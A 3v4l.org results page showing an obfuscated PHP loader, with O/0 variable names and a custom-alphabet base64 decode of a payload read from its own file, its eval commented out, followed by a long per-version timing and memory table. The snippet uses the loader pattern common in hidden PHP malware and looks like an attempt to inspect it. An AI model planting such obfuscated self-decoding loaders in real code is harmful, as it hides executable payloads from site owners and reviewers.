3v4l.org

run code in 300+ PHP versions simultaneously
<?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0xcd8; $OO00O0000 = '3288'; $O000O0O00=$OOO000O00($OOO0O0O00,'rb');$O0O00OO00($O000O0O00,0x4f8);$OO00O00O0=$OOO0000O0($OOO00000O($O0O00OO00($O000O0O00,0x17c),'eWu5xqcpwhgk9Gy0naI1r4jFdiEsYzQPvAKR8HNo/J7TMLOl+3ZCfBm6VX2tDUbS=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')); var_dump($O000O0O00); //eval($OO00O00O0);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0060.01218.43
8.3.50.0110.00520.96
8.3.40.0120.00818.71
8.3.30.0140.00020.22
8.3.20.0070.00020.34
8.3.10.0040.00421.92
8.3.00.0070.00720.39
8.2.180.0070.01416.38
8.2.170.0040.01122.96
8.2.160.0100.00320.39
8.2.150.0030.00624.18
8.2.140.0060.00324.66
8.2.130.0070.00426.16
8.2.120.0040.00419.54
8.2.110.0090.00022.14
8.2.100.0080.00417.78
8.2.90.0040.00419.10
8.2.80.0070.00019.39
8.2.70.0040.00417.25
8.2.60.0040.00417.91
8.2.50.0030.00518.07
8.2.40.0040.00418.09
8.2.30.0040.00417.94
8.2.20.0000.00717.54
8.2.10.0040.00417.54
8.2.00.0040.00417.43
8.1.280.0130.00725.92
8.1.270.0000.00824.66
8.1.260.0040.00426.35
8.1.250.0060.00328.09
8.1.240.0060.00323.97
8.1.230.0060.00620.75
8.1.220.0040.00417.74
8.1.210.0040.00418.77
8.1.200.0000.00817.23
8.1.190.0040.00417.38
8.1.180.0130.00018.10
8.1.170.0090.00018.43
8.1.160.0000.00722.13
8.1.150.0030.00318.54
8.1.140.0040.00417.32
8.1.130.0000.00717.76
8.1.120.0000.00717.32
8.1.110.0040.00417.22
8.1.100.0030.00317.24
8.1.90.0070.00017.31
8.1.80.0030.00317.31
8.1.70.0000.00717.35
8.1.60.0060.00317.30
8.1.50.0040.00417.33
8.1.40.0070.00017.43
8.1.30.0040.00417.48
8.1.20.0000.00917.39
8.1.10.0060.00317.40
8.1.00.0000.00717.22
8.0.300.0050.00318.77
8.0.290.0080.00017.05
8.0.280.0040.00418.31
8.0.270.0030.00317.12
8.0.260.0030.00316.66
8.0.250.0030.00316.90
8.0.240.0040.00416.89
8.0.230.0070.00016.87
8.0.220.0030.00416.85
8.0.210.0040.00416.86
8.0.200.0030.00316.87
8.0.190.0030.00616.88
8.0.180.0000.00716.75
8.0.170.0030.00516.75
8.0.160.0000.00716.68
8.0.150.0000.00716.87
8.0.140.0030.00316.68
8.0.130.0030.00313.27
8.0.120.0040.00416.82
8.0.110.0080.00016.82
8.0.100.0000.00716.73
8.0.90.0030.00316.77
8.0.80.0040.01116.77
8.0.70.0040.00416.70
8.0.60.0030.00516.66
8.0.50.0040.00416.70
8.0.30.0120.01116.91
8.0.20.0100.00917.40
8.0.10.0040.00416.93
8.0.00.0110.00816.67
7.4.330.0050.00015.09
7.4.320.0060.00016.64
7.4.300.0000.00616.52
7.4.290.0040.00416.54
7.4.280.0000.00816.46
7.4.270.0000.00716.63
7.4.260.0030.00616.61
7.4.250.0030.00316.51
7.4.240.0050.00316.55
7.4.230.0040.00416.70
7.4.220.0130.01316.45
7.4.210.0090.00716.58
7.4.200.0040.00416.51
7.4.190.0050.00216.65
7.4.160.0070.01016.61
7.4.150.0120.00617.40
7.4.140.0100.00917.86
7.4.130.0100.00716.47
7.4.120.0130.00716.56
7.4.110.0110.00616.66
7.4.100.0140.00316.59
7.4.90.0100.00716.57
7.4.80.0070.01019.39
7.4.70.0160.00016.50
7.4.60.0040.01416.56
7.4.50.0000.00816.40
7.4.40.0000.01322.77
7.4.30.0100.01416.54
7.4.00.0030.01215.16
7.3.330.0000.00613.13
7.3.320.0000.00613.16
7.3.310.0000.00716.53
7.3.300.0030.00316.44
7.3.290.0070.00716.38
7.3.280.0050.01116.37
7.3.270.0030.01917.40
7.3.260.0100.01316.41
7.3.250.0070.01116.38
7.3.240.0110.00716.39
7.3.230.0100.00716.42
7.3.210.0100.00716.38
7.3.200.0100.00719.39
7.3.190.0170.00316.62
7.3.180.0160.00016.36
7.3.170.0110.00516.61
7.3.160.0090.00616.45
7.3.120.0040.01114.80
7.2.330.0110.01116.74
7.2.320.0030.01316.84
7.2.310.0110.00716.80
7.2.300.0100.00716.55
7.2.290.0070.01016.55
7.2.00.0060.00919.10
7.1.100.0000.01118.34
7.1.70.0060.00617.27
7.1.60.0170.00719.21
7.1.50.0030.01317.05
7.1.00.0000.06022.34
7.0.200.0630.00414.64
7.0.140.0000.07722.01
7.0.60.0130.08020.00
7.0.50.0030.04017.93
7.0.40.0030.06020.09
7.0.30.0270.04320.10
7.0.20.0270.08020.32
7.0.10.0200.03720.09
7.0.00.0030.06020.16
5.6.280.0130.06321.03
5.6.210.0130.08020.70
5.6.200.0070.06318.11
5.6.190.0030.04720.60
5.6.180.0300.07320.39
5.6.170.0300.08020.47
5.6.160.0070.04020.49
5.6.150.0030.04318.22
5.6.140.0070.08018.21
5.6.130.0130.08018.22
5.6.120.0130.07021.00
5.6.110.0070.07720.98
5.6.100.0070.08021.06
5.6.90.0000.08021.00
5.6.80.0130.06320.50
5.6.70.0230.07020.39
5.5.350.0100.06320.41
5.5.340.0070.07717.88
5.5.330.0070.08720.19
5.5.320.0170.07720.30
5.5.310.0270.04320.30
5.5.300.0130.07717.92
5.5.290.0100.07717.92
5.5.280.0200.06720.89
5.5.270.0070.04720.68
5.5.260.0070.07020.77
5.5.250.0200.07020.71
5.5.240.0100.04020.28
5.4.450.0930.06019.47
5.4.440.0830.05319.11
5.4.430.0030.06019.41
5.4.420.0700.05319.46
5.4.410.0730.05319.34
5.4.400.0430.05718.62
5.4.390.0370.05318.71
5.4.380.0300.05018.62
5.4.370.0170.05718.76
5.4.360.0200.05718.66
5.4.350.0050.04011.98
5.4.340.0080.04711.98
5.4.320.0100.03812.47
5.4.310.0050.04112.46
5.4.300.0060.03612.47
5.4.290.0070.03712.46
5.4.280.0110.07012.34
5.4.270.0230.07912.35
5.4.260.0200.07212.35
5.4.250.0120.06212.35
5.4.240.0110.05512.35
5.4.230.0100.05412.34
5.4.220.0170.06512.34
5.4.210.0190.09312.34
5.4.200.0070.06312.34
5.4.190.0080.05912.33
5.4.180.0180.05512.33
5.4.170.0180.09212.34
5.4.160.0090.07112.34
5.4.150.0060.05612.34
5.4.140.0110.06512.02
5.4.130.0080.05212.01
5.4.120.0090.06911.96
5.4.110.0110.04811.97
5.4.100.0170.06611.96
5.4.90.0140.08611.96
5.4.80.0080.05211.96
5.4.70.0060.05211.96
5.4.60.0100.05011.96
5.4.50.0060.05411.96
5.4.40.0100.04911.95
5.4.30.0060.05211.95
5.4.20.0050.05711.95
5.4.10.0080.05911.94
5.4.00.0100.05211.44
5.3.290.0040.04212.80
5.3.280.0080.05512.71
5.3.270.0100.05812.72
5.3.260.0110.05612.72
5.3.250.0090.05712.72
5.3.240.0080.05512.71
5.3.230.0070.05412.71
5.3.220.0070.05612.68
5.3.210.0090.05512.68
5.3.200.0090.05512.68
5.3.190.0140.04912.68
5.3.180.0060.05912.68
5.3.170.0120.05012.67
5.3.160.0050.06012.67
5.3.150.0080.06012.67
5.3.140.0100.05312.66
5.3.130.0090.05512.66
5.3.120.0080.05712.65
5.3.110.0070.05912.66
5.3.100.0080.05212.12
5.3.90.0130.04912.08
5.3.80.0080.05112.08
5.3.70.0070.05212.07
5.3.60.0080.05212.06
5.3.50.0080.05112.00
5.3.40.0090.05312.00
5.3.30.0110.05211.96
5.3.20.0100.06211.74
5.3.10.0160.06911.71
5.3.00.0190.07511.69
5.2.170.0100.0539.19
5.2.160.0100.0489.19
5.2.150.0090.0539.18
5.2.140.0100.0489.19
5.2.130.0090.0499.15
5.2.120.0040.0529.14
5.2.110.0090.0459.16
5.2.100.0140.0379.15
5.2.90.0070.0499.15
5.2.80.0070.0449.15
5.2.70.0150.0639.15
5.2.60.0290.0799.11
5.2.50.0110.0549.08
5.2.40.0160.0609.05
5.2.30.0110.0429.03
5.2.20.0110.0419.02
5.2.10.0050.0458.95
5.2.00.0060.0458.81
5.1.60.0100.0328.09
5.1.50.0140.0468.09
5.1.40.0100.0348.07
5.1.30.0110.0418.43
5.1.20.0080.0428.45
5.1.10.0140.0558.17
5.1.00.0140.0808.14
5.0.50.0060.0306.65
5.0.40.0050.0326.52
5.0.30.0080.0606.32
5.0.20.0140.0436.30
5.0.10.0060.0356.28
5.0.00.0090.0686.26
4.4.90.0180.0404.78
4.4.80.0040.0374.76
4.4.70.0160.0334.75
4.4.60.0070.0374.76
4.4.50.0050.0534.77
4.4.40.0030.0414.71
4.4.30.0130.0434.76
4.4.20.0020.0444.84
4.4.10.0070.0804.85
4.4.00.0060.0384.76
4.3.110.0030.0274.67
4.3.100.0040.0234.67
4.3.90.0040.0234.63
4.3.80.0040.0364.59
4.3.70.0090.0204.63
4.3.60.0040.0244.63
4.3.50.0030.0254.63
4.3.40.0070.0324.54
4.3.30.0030.0253.33
4.3.20.0060.0313.32
4.3.10.0020.0273.27
4.3.00.0200.0136.49

preferences:
46.21 ms | 401 KiB | 5 Q